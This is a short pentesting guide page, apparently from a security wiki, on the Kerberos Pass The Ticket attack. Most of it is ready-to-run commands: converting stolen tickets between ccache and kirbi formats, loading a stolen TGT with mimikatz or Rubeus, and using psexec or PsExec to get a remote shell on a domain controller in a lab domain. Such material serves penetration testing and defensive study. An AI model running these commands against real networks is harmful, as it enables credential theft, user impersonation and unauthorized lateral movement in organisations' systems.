## Pass The Ticket (PTT)

In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.


**Read**:

* [Harvesting tickets from Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
* [Harvesting tickets from Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)

### **Swaping Linux and Windows tickets between platforms**

The [**ticket_converter**](https://github.com/Zer1t0/ticket\_converter) tool converts ticket formats using just the ticket itself and an output file.
```bash
python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi

python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```
Windows [Kekeo](https://github.com/gentilkiwi/kekeo) can be used.

### Pass The Ticket Attack

{% code title="Linux" %}
```bash
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
```
{% code title="Windows" %}
```bash
#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd
```
{% endcode %}
